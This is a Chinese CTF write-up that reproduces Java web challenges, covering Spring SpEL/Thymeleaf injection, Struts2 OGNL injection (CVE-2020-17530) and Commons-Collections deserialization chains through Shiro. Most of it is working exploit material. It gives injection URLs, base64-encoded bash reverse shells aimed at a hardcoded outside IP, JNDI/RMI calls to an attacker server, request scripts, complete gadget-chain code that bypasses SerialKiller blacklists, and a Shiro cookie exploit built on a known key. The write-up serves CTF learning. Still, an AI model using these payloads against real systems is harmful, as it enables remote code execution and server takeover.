近期java赛题复现

Mini-L-CTF-2022 minispringboot

Spring View Manipulation注入,也是基于Thymeleaf的ssti。当时get参数是个?name=xxx,强烈怀疑是注入点,但是没反应。结果路由也是可以注的

可参考 https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#java 里的 Thymeleaf

这里涉及到SpringEL,这个是用来方便Bean依赖注入的东西。先学一下SpringEL基本语法

https://blog.csdn.net/wb1046329430/article/details/121563724

值得注意的是,T(xxx)可以引入xxx这个包

本地可以起一个spring测试一下SpringEL Expression

main里写一个类

package com.example.spel;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Component;

@Component
public class SpringEl {
    @Value("#{T(java.lang.Runtime).getRuntime().exec(\"calc\")}")
    public Object v;
}

test里写一个测试类

package com.example.spel;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;

@SpringBootTest
class Test1 {

    @Autowired
    private SpringEl springEl;

    @Test
    void test(){
        System.out.println(springEl.v);
    }
}

题目过滤了new和runtime,第一种方法(官方的预期)用process builder绕过(下面的payload最后都需要urlencode,为了方便看先不编码):

另外测试会发现new可以换成New,也可以执行的

http://192.168.238.165:49153/__${New ProcessBuilder("curl xxx.dnslog.cn").start()}__::.x

然后想要弹shell的话,ProcessBuilder里面的命令也是有点学问的,可以参考

https://www.jianshu.com/p/eb41a0291123

https://www.jianshu.com/p/ae3922db1f70

按文章的思路,加上本地测试一下构造这个Payload即可弹shell

有一点,payload中有'/'就会报400错误,要避免这个。

http://192.168.238.165:49153/__${New ProcessBuilder("bash","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuMjAxLjE2My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}").start()}__::.x

另外,这题是有很多其他思路的。以下参考了Flowey大佬们的wp

既然字符串被过滤,那么反射forName绕一下就好了(下面payload填在大括号里)

"".getClass().forName("java.lang.Run"+"time").getMethod("exec", "".getClass()).invoke("".getClass().forName("java.lang.Run"+"time").getMethod("getRun"+"time").invoke("".getClass().forName("java.lang.Run"+"time")),"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuMjAxLjE2My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}")

但是没反应。放到上面的@Value测试以下会发现报这个错。

image

进一步测试,执行curl xxx.dnslog.cn是可行的,直接java运行上面的反射代码也是可行的,但是放在SpringEL里就是不行。(没有进一步debug

另换一个思路,直接动态加载字节码。

https://blog.csdn.net/mole_exp/article/details/122768814

先看一下原生classLoader是怎么加载字节码的

Evil.java(无包名)

import java.io.IOException;

public class Evil {
    static {
        try {
//            String cmd="gnome-calculator";
            String cmd="bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuMjAxLjE2My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}";
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

    static void test1() throws  Exception{
        byte[] evilBytes= Files.readAllBytes(Paths.get("/home/remake/IdeaProjects/SringEL/target/classes/Evil.class"));
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
        defineClass.setAccessible(true);
        Class Evil = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),"Evil",evilBytes,0,evilBytes.length);
        Evil.newInstance();
    }

但是需要defineClass.setAccessible(true);,然而我们的SpringEL表达式只有一行,需要换一种思路

题目是jdk1.8,自带了BCEL ClassLoader,具体可以参考p神的文章

先试一下怎么加载

package com.example.sringel;

import java.lang.reflect.Method;
import java.net.URLEncoder;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class MemTest{
    public static void main(String[] args) throws Exception{
        byte[] evilBytes= Files.readAllBytes(Paths.get("/home/remake/IdeaProjects/SringEL/target/classes/Evil.class"));
        runBcelTest();
    }
    static void runBcelTest() throws Exception{
        byte[] evilBytes= Files.readAllBytes(Paths.get("/home/remake/IdeaProjects/SringEL/target/classes/Evil.class"));
        String bcelCode=generateBcelCode2(evilBytes);
        ClassLoader bcelClassLoader = new ClassLoader();
        bcelClassLoader.loadClass(bcelCode).newInstance();
    }
    public static String generateBcelCode2(byte[] codes) throws Exception {
        String code = Utility.encode(codes, true);
        String bcelCode = "$$BCEL$$" + code;
        System.out.println("bcelcode=" + bcelCode);
        return bcelCode;
    }
}

会发现newInstance的时候还是会被waf,所以又得反射绕一下才行。

写一个生成大致payload的脚本

    static void BCEL_pay() throws Exception{
        byte[] evilBytes= Files.readAllBytes(Paths.get("/home/remake/IdeaProjects/SringEL/target/classes/Evil.class"));
        String encode=generateBcelCode2(evilBytes);
//        new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass(encode).newInstance();
        String inside="\"\".getClass().forName(\"java.lang.Class\").getDeclaredMethod(\"n\"+\"ewInstance\").invoke(New com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass(\""+encode+"\"))";
        String pay="__${"+inside+"}__::.x";
        pay="http://192.168.238.165:49153/"+URLEncoder.encode(pay);
        System.out.println(pay);
    }

有两个坑点卡了我好久,第一个是forName前如果写成Class.forName,直接丢到前面的@Value是可以通的,但是题目就不行。另一个是java的URLencoder不知怎么把New后面的空格变成了+。但总之这个方法是可以反弹shell的。payload如下(未urlencode)
http://192.168.238.165:49153/__${"".getClass().forName("java.lang.Class").getDeclaredMethod("n"+"ewInstance").invoke(New com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("那一串编码"))}__::.x

另外Flowey的师傅用了spring自带的org.springframework.cglib.core.ReflectUtils和org.springframework.util.ClassUtils来加载.原理如下

org.springframework.cglib.core.ReflectUtils.defineClass("Evil",com.sun.org.apache.xerces.internal.impl.dv.util.HexBin.decode(16进制字节码),org.springframework.util.ClassUtils.getDefaultClassLoader());

    static void spring_pay() throws Exception{
        byte[] evilBytes= Files.readAllBytes(Paths.get("/home/remake/IdeaProjects/SringEL/target/classes/Evil.class"));
        String encode = com.sun.org.apache.xerces.internal.impl.dv.util.HexBin.encode(evilBytes);
//        System.out.println(encode);
        String payload="http://192.168.238.165:49153/"+ URLEncoder.encode("__${"+
                "T(org.springframework.cglib.core.ReflectUtils).defineClass(\"Evil\",T(com.sun.org.apache.xerces.internal.impl.dv.util.HexBin).decode(\""+
                encode
                +"\"),T(org.springframework.util.ClassUtils).getDefaultClassLoader())"
                +"}__::.x");
        System.out.println(payload);
//        org.springframework.cglib.core.ReflectUtils.defineClass("Evil",com.sun.org.apache.xerces.internal.impl.dv.util.HexBin.decode(encode),org.springframework.util.ClassUtils.getDefaultClassLoader());

    }

生成的payload

http://192.168.238.165:49153/__${T(org.springframework.cglib.core.ReflectUtils).defineClass("Evil",T(com.sun.org.apache.xerces.internal.impl.dv.util.HexBin).decode("16进制字节码"),T(org.springframework.util.ClassUtils).getDefaultClassLoader())}__::.x

也是可以通的

Mini-L-CTF-2022 Mini Struts2

结合题目名字和版本可以搜到CVE-2020-17530

尝试访问http://192.168.238.165:49154/index.action?id=%25%7B1%2B1%7D发现回显中的超链接变成了<a id="2" href="./asserts/%{1+1}.jpg">Go to see the photo!</a>,找到注入点。payload和分析可以参考

https://github.com/EdgeSecurityTeam/Vulnerability/blob/main/Struts2 s2-061 Poc (CVE-2020-17530).md

这里是OGNL表达式,和上面的SpringEL其实大同小异.贴一下官方文档

https://commons.apache.org/proper/commons-ognl/language-guide.html

但是题目是有waf的

image

第一种思路,用上面payload的jndi注入。

jndi服务用marshalsec来搭

写一个恶意类弹shell

import java.io.IOException;

public class UnicodeSec {
    static {
        try {
            String cmd="bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuMjAxLjE2My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}";
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

编译之后把class放到nginx服务器上,marshalsec再指定即可。

脚本发包

import requests
url="http://192.168.238.165:49154/index.action"
# url="http://localhost:32131/web2_war_exploded/index.action"
def go(id):
    c1={"token":"6T0FSVYG58zhpPB3zslJ7lBiHLcUALk+GblpyVh9xnRaOTzVsSnjUZJhcwoi14eJN9URv29TbkMwNWaCPDZ+8wNVLB/E/YpZsjNJPEfyQSWRFFoLQhsCb5b+YECiNYpb3554e0l4+jC2IdzgcJBQEIEX3HRcyR7aAdaRoTNfu3zxX4OR4ZPodBCGpH2YNeqU"}
    text=requests.get(url+"?id="+encode_all(id),cookies=c1).text
    print(text)
def encode_all(string):
    return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)
if __name__=='__main__':
    id="%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #application['org.apache.tomcat.InstanceManager']).(#rw=#UnicodeSec.newInstance('com.sun.rowset.JdbcRowSetImpl')).(#rw.setDataSourceName('ldap://xxx:2334/UnicodeSec')).(#rw.getDatabaseMetaData())}"
    go(id)

然鹅复现失败了QwQ..ldap和rmi都不行(未来穿越的我:jdk高版本jndi可以绕),而且脚本小子不太会debug 555

不过题目的预期解也不是要弹shell,观察Unserialize类

package WEB-INF.classes.ctf.minil.utils;

import ctf.minil.models.User;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.nio.file.Files;
import java.nio.file.attribute.BasicFileAttributes;
import java.util.Base64;

public class Unserialize {
  public Object unserialize(String obj) throws IOException, ClassNotFoundException {
    byte[] bytes = Base64.getDecoder().decode(obj);
    ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
    ObjectInputStream ois = new ObjectInputStream(bis);
    try {
      String name = ois.readUTF();
      int year = ois.readInt();
      if (name.equals("MiniLCTF") && year == 2022) {
        File file = new File("/flag");
        BasicFileAttributes basicFileAttributes = Files.readAttributes(file.toPath(), BasicFileAttributes.class, new java.nio.file.LinkOption[0]);
        if (basicFileAttributes.isRegularFile() && file.exists()) {
          byte[] fileContent = new byte[(int)basicFileAttributes.size()];
          FileInputStream in = new FileInputStream(file);
          in.read(fileContent);
          in.close();
          return new User(new String(fileContent), "947866");
        } 
      } 
    } catch (Exception e) {
      return ois.readObject();
    } 
    return ois.readObject();
  }
}

能调用Unserialze反序列化特定的user就能返回flag。仔细阅读一下上面的payload分析,发现可以用org.apache.tomcat.InstanceManager#newInstance实例化任意无参构造方法的类并返回(只要不在OGNL的黑名单里。

另外#res这个变量似乎可以控制整个OGNL的返回值。所以先搞一个user

package ctf.minil.models;

import java.io.*;
import java.util.Base64;
import ctf.minil.utils.Unserialize;
public class fakeUser {

    public static void main(String[] args) throws  Exception{
        User u=new User("","");
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeUTF("MiniLCTF");
        oos.writeInt(2022);
        oos.writeObject(u);
        byte[] bytes = bos.toByteArray();
        String encode=Base64.getEncoder().encodeToString(bytes);
        System.out.println(encode);
//        new Unserialize().unserialize(encode);
    }

}

改一下exec的payload

%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #application['org.apache.tomcat.InstanceManager']).(#potats0=#UnicodeSec.newInstance('org.apache.commons.collections.BeanMap')).(#stackvalue=#attr['struts.valueStack']).(#potats0.setBean(#stackvalue)).(#context=#potats0.get('context')).(#potats0.setBean(#context)).(#sm=#potats0.get('memberAccess')).(#emptySet=#UnicodeSec.newInstance('java.util.HashSet')).(#potats0.setBean(#sm)).(#potats0.put('excludedClasses',#emptySet)).(#potats0.put('excludedPackageNames',#emptySet)).(#un=#UnicodeSec.newInstance('ctf.minil.utils.Unserialize')).(#flag=#un.unserialize('上面的base64').getName()).(#res=#flag)}

然后发包

import requests
url="http://192.168.238.165:49154/index.action"
# url="http://localhost:32131/web2_war_exploded/index.action"
def go(id):
    c1={"token":"6T0FSVYG58zhpPB3zslJ7lBiHLcUALk+GblpyVh9xnRaOTzVsSnjUZJhcwoi14eJN9URv29TbkMwNWaCPDZ+8wNVLB/E/YpZsjNJPEfyQSWRFFoLQhsCb5b+YECiNYpb3554e0l4+jC2IdzgcJBQEIEX3HRcyR7aAdaRoTNfu3zxX4OR4ZPodBCGpH2YNeqU"}
    text=requests.get(url+"?id="+encode_all(id),cookies=c1).text
    print(text)
def encode_all(string):
    return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)
if __name__=='__main__':
    # id="%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #application['org.apache.tomcat.InstanceManager']).(#rw=#UnicodeSec.newInstance('com.sun.rowset.JdbcRowSetImpl')).(#rw.setDataSourceName('rmi://49.232.201.163:2334/UnicodeSec')).(#rw.getDatabaseMetaData())}"
    id="%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #application['org.apache.tomcat.InstanceManager']).(#potats0=#UnicodeSec.newInstance('org.apache.commons.collections.BeanMap')).(#stackvalue=#attr['struts.valueStack']).(#potats0.setBean(#stackvalue)).(#context=#potats0.get('context')).(#potats0.setBean(#context)).(#sm=#potats0.get('memberAccess')).(#emptySet=#UnicodeSec.newInstance('java.util.HashSet')).(#potats0.setBean(#sm)).(#potats0.put('excludedClasses',#emptySet)).(#potats0.put('excludedPackageNames',#emptySet)).(#un=#UnicodeSec.newInstance('ctf.minil.utils.Unserialize')).(#flag=#un.unserialize('rO0ABXcOAAhNaW5pTENURgAAB+ZzcgAVY3RmLm1pbmlsLm1vZGVscy5Vc2VyAAAAAAAAAAECAANJAAR5ZWFyTAAIcGFzc3dvcmR0ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHAAAAAAdAAAcQB+AAM=').getUsername()).(#res=#flag)}"
    go(id)

返回的id就是flag

车联网ezcc

shrio反序列化

serialkiller.conf

<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
    <refresh>6000</refresh>
    <blacklist>
      <regexp>^org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
      <regexp>^org\.apache\.commons\.beanutils\.BeanComparator$</regexp>
      <regexp>^org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp>
      <regexp>^java\.rmi\.server\.RemoteObjectInvocationHandler$</regexp>
    </blacklist>
    <whitelist>
      <regexp>.*</regexp>
    </whitelist>
    <logging>
      <enabled>false</enabled>
    </logging>
</config>

pom.xml

<?xml version="1.0" encoding="UTF-8"?>

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <groupId>com.govuln</groupId>
  <artifactId>shirodemo</artifactId>
  <version>1.0-SNAPSHOT</version>
  <packaging>war</packaging>

  <name>shirodemo Maven Webapp</name>
  <url>http://www.example.com</url>

  <properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <maven.compiler.source>1.7</maven.compiler.source>
    <maven.compiler.target>1.7</maven.compiler.target>
  </properties>

  <dependencies>
    <dependency>
      <groupId>org.apache.shiro</groupId>
      <artifactId>shiro-core</artifactId>
      <version>1.2.4</version>
    </dependency>
    <dependency>
      <groupId>org.apache.shiro</groupId>
      <artifactId>shiro-web</artifactId>
      <version>1.2.4</version>
    </dependency>

    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>javax.servlet-api</artifactId>
      <version>3.1.0</version>
      <scope>provided</scope>
    </dependency>

    <dependency>
      <groupId>javax.servlet.jsp</groupId>
      <artifactId>jsp-api</artifactId>
      <version>2.2</version>
      <scope>provided</scope>
    </dependency>

    <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
    <dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.2.1</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
    <dependency>
      <groupId>commons-logging</groupId>
      <artifactId>commons-logging</artifactId>
      <version>1.2</version>
    </dependency>
    <dependency>
      <groupId>org.slf4j</groupId>
      <artifactId>slf4j-api</artifactId>
      <version>1.7.30</version>
    </dependency>
    <dependency>
      <groupId>org.slf4j</groupId>
      <artifactId>slf4j-simple</artifactId>
      <version>1.7.30</version>
    </dependency>

  </dependencies>

  <build>
    <finalName>shirodemo</finalName>
    <pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
      <plugins>
        <plugin>
          <artifactId>maven-clean-plugin</artifactId>
          <version>3.1.0</version>
        </plugin>
        <!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->
        <plugin>
          <artifactId>maven-resources-plugin</artifactId>
          <version>3.0.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-compiler-plugin</artifactId>
          <version>3.8.0</version>
        </plugin>
        <plugin>
          <artifactId>maven-surefire-plugin</artifactId>
          <version>2.22.1</version>
        </plugin>
        <plugin>
          <artifactId>maven-war-plugin</artifactId>
          <version>3.2.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-install-plugin</artifactId>
          <version>2.5.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-deploy-plugin</artifactId>
          <version>2.8.2</version>
        </plugin>
      </plugins>
    </pluginManagement>
  </build>
</project>

shiro不能带数组,不能用transformer[]

用InstantiateTransformer加载字节码,即可绕过那几个transformer。另外用DefaultedMap可以达到控制x1.transform(x2),即可执行InstantiateTransformer.transform(TrAXFilter.class)

package test;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.DefaultedMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesImpl=getTemplates();
        // InstantiateTransformer.transform(TrAXFilter.class)
        InstantiateTransformer it=new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl});
        /*
        * expMap.readObj()
        * expMap.key.hashcode()
        * tiedMapEntry.hashcode()
        * tiedMapEntry.map.get(tiedMapEntry.key)
        * outerMap.get(tiedMapEntry.key)
        * DefaultedMap.get(tiedMapEntry.key)
        * DefaultedMap.value.transform(tiedMapEntry.key)
        * x1.transform(x2)
        * x1=DefaultedMap.value x2=TiedMapEntry.key
        * InstantiateTransformer.transform(TrAXFilter.class)
        * */

        Map innerMap = new HashMap();
        Map outerMap = DefaultedMap.decorate(innerMap, new ConstantTransformer(0));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, TrAXFilter.class);
        Map expMap = new HashMap();
        expMap.put(tiedMapEntry, "valuevalue");
        outerMap.remove(TrAXFilter.class);
        setFieldValue(outerMap, "value", it);

        byte[] b=serialize(expMap);
        deserialize(b);

    }

    public CC6() {
    }
    public static byte[] serialize(Object o) {
        try {
            ByteArrayOutputStream aos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(aos);
            oos.writeObject(o);
            oos.flush();
            oos.close();
            return aos.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }
    public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field fieldName = obj.getClass().getDeclaredField(name);
        fieldName.setAccessible(true);
        fieldName.set(obj, value);
    }
    public static void deserialize(byte[] bytes) {
        try {
            ByteArrayInputStream ais = new ByteArrayInputStream(bytes);
            ObjectInputStream ois = new ObjectInputStream(ais);
            ois.readObject();
            ois.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    static TemplatesImpl getTemplates() throws Exception{
        System.setProperty("org.apache.commons.collections.enableUnsafeSerialization","true");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(HelloTemplatesImpl.class.getName()).toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        return obj;
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ctClass = classPool.makeClass("Evil");
        ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        String shell = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ctClass.makeClassInitializer().insertBefore(shell);

        byte[] shellCode = ctClass.toBytecode();
        byte[][] targetByteCode = new byte[][]{shellCode};

        TemplatesImpl templates = new TemplatesImpl();
        Class c1 = templates.getClass();
        Field _name = c1.getDeclaredField("_name");
        Field _bytecode = c1.getDeclaredField("_bytecodes");
        Field _tfactory = c1.getDeclaredField("_tfactory");
        _name.setAccessible(true);
        _bytecode.setAccessible(true);
        _tfactory.setAccessible(true);
        _name.set(templates, "h3rmesk1t");
        _bytecode.set(templates, targetByteCode);
        _tfactory.set(templates, new TransformerFactoryImpl());
        return templates;
    }
}

注意,那行 Map outerMap = DefaultedMap.decorate(innerMap, new ConstantTransformer(0));其实没有序列化ConstantTransformer,后面会remove掉的

nama的exp,用了LazyMap

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class Exp {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException {
        byte[] payloads = new Payload().getPayload();
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("7Bhs26ccN6i/0AT9GhZULF==");
        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());

    }
}
class Payload {
    public Payload(){
    }
    public byte[] getPayload() throws IOException, IllegalAccessException, NoSuchFieldException, NotFoundException, CannotCompileException {
        System.setProperty("org.apache.commons.collections.enableUnsafeSerialization","true");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(HelloTemplatesImpl.class.getName()).toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj });

        Transformer fakeTransformer = new ConstantTransformer(1);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, fakeTransformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class);

        HashMap expmap = new HashMap();
        expmap.put(tme,"xxxxxx");
        outerMap.clear();

        Field f = LazyMap.class.getDeclaredField("factory");
        f.setAccessible(true);
        f.set(outerMap, transformer);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expmap);
        oos.close();

        return barr.toByteArray();
    }
    public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field fieldName = obj.getClass().getDeclaredField(name);
        fieldName.setAccessible(true);
        fieldName.set(obj, value);
    }
}
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class HelloTemplatesImpl extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException {}
    public void transform(DOM document, DTMAxisIterator iterator,
                          SerializationHandler handler) throws TransletException {}
    public HelloTemplatesImpl() {
        super();
        try {
            Runtime r = Runtime.getRuntime();
             Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});
            p.waitFor();
        }catch (Exception e){}

    }
}

tsctf2022(mrctf2022) ezjava

和上题一样的绕链子

<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
    <refresh>6000</refresh>
    <mode>
        <!-- set to 'false' for blocking mode -->
        <profiling>false</profiling>
    </mode>
    <logging>
        <enabled>false</enabled>
    </logging>
    <blacklist>
        <!-- ysoserial's CommonsCollections1,3,5,6 payload  -->
        <regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
        <regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
        <regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp>
        <regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp>
        <regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer$</regexp>
        <!-- ysoserial's CommonsCollections2,4 payload  -->
        <regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp>
        <regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp>
        <regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp>
        <regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp>
        <regexp>org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp>
    </blacklist>
    <whitelist>
        <regexp>.*</regexp>
    </whitelist>
</config>
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.6.5</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>easyJava</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>easyJava</name>
    <description>easyJava</description>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.aspectj</groupId>
            <artifactId>aspectjweaver</artifactId>
            <version>1.9.5</version>
        </dependency>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
        <dependency>
            <groupId>commons-logging</groupId>
            <artifactId>commons-logging</artifactId>
            <version>1.1.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/commons-lang/commons-lang -->
        <dependency>
            <groupId>commons-lang</groupId>
            <artifactId>commons-lang</artifactId>
            <version>2.6</version>
        </dependency>

        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.4</version>
        </dependency>
        <dependency>
            <groupId>org.nibblesec</groupId>
            <artifactId>serialkiller</artifactId>
            <version>0.4</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

配合FactoryTransformer和InstantiateFactory可以达到InstantiateTransformer一样的效果,从而绕过黑名单。其他地方和上题大同小异。另外,虽然黑名单有Transformer,但是serialkiller其实是通过重写ObjectInputStream#resolveClass方法获取了类名,是完整的包名,所以仅仅是继承一个Transformer接口的类也是可以反序列化的

package com.example.easyjava.solve;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
